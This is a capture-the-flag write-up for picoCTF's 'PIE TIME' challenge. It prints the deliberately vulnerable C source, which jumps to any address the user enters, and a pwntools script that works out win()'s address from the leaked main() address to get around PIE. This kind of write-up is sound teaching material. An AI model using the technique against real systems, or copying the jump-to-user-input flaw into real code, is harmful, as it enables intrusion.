# picoCTF - PIE TIME Writeup
URL: https://play.picoctf.org/practice/challenge/490?category=6&page=1
---
## Analysis
This challenge provides source code and binary.
Let’s check the source code first:
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
From the source code, we know the program are doing following things:
- Provides the address of main()
- Asks user input a address (in hex)
- Create a void function foo()
- The address of foo() will be val , which is user input address
- Execute foo()
According to the observation above, the key point is if we can find the address of win() we can make the program to execute it and print the flag.
So the next step is to find out how to get the address of win()

From the description of the challenge, we know that PIE is enabled
Actually, we can simply check if PIE is enabled by using pwntools
```python
from pwn import *
elf = ELF('./vuln')
print(elf.pie) # Print True if PIE is enabled, otherwise print False
```
After executed this script, the output will be:

And PIE is enabled means that we can’t just use the address on the local binary as the address of win() on the remote server, Since PIE(Position-Independent Executable) is a security feature that randomizes the memory addresses of a program's code, data, and libraries every time it is run.
### What can we do?
The key point is even if PIE is enabled, the offset between functions are always the same
So the address of win() is: &win = &main - offset
And the next step is go to find the offset between main() and win()
First, i use pwndbg on local binary file.

I set a breakpoint on main() for check the address of main() and win()

Great! we have already got the offset between main() and win()
So we know that the address of win() is the address of main() subtract 150
First, i try this on the local binary:

The address of main() is 0x61487c1ab33d, and subtract by 0x96(150) to obtain the address of win()
```
0x61487c1ab33d - 0x96 = 0x61487c1ab2a7 <- This the address of win()
```
Exactly! we find the correct way to jump to win() !
---
## Exploitation
Finally, we can write a script to exploit the remote server to get the final flag
I use pwntools to write a exploit script:
```python
from pwn import *
import re
elf = context.binary = ELF('./vuln')
flag_pattern = re.compile(r'picoCTF\{.*?\}')
def connect():
# Usage: python3 exploit.py [REMOTE] [HOST=<host>] [PORT=<port>] [GDB]
if args.REMOTE:
if args.HOST and args.PORT:
r = remote(args.HOST, int(args.PORT))
else:
log.error("Please provide HOST and PORT for remote connection.")
else:
r = process([elf.path])
if args.GDB:
gdb.attach(r)
return r
def run():
# Use local elf to calculate the offset between main and win
main_address = elf.symbols['main']
win_address = elf.symbols['win']
offset = main_address - win_address
log.info(f"Offset between main and win: {offset}")
r = connect()
# Get the address of main from the remote server
r.recvuntil(b'Address of main: ')
main_remote = int(r.recvline().strip(), 16)
log.info(f"Remote main address: {hex(main_remote)}")
# Calculate the address of win on the remote server
win_remote = main_remote - offset
log.info(f"Remote win address: {hex(win_remote)}")
# Send the win address to get the flag
r.recvuntil(b'Enter the address to jump to, ex => 0x12345:')
r.sendline(hex(win_remote).encode())
res = r.recvall()
print(res.decode())
match = re.search(flag_pattern, res.decode())
if match:
flag = match[0]
log.success(f"Flag: {flag}")
else:
log.error("Flag not found in the response.")
r.interactive()
if __name__ == "__main__":
run()
```
And the output will be:

We got the final flag!
---
## Summarization
The key point is the program provides the address of main() and the offset between functions are always the same, base on these two facts, we should be able to realize that we can obtain the address of win() by subtract the offset from the address of main()
Also using tools like pwndbg , pwntools , etc is very important, these tools can done things very efficiently.
---
## References
https://medium.com/@fnnnr/picoctf-pie-time-easy-4f7e10b22209
https://www.redhat.com/en/blog/position-independent-executables-pie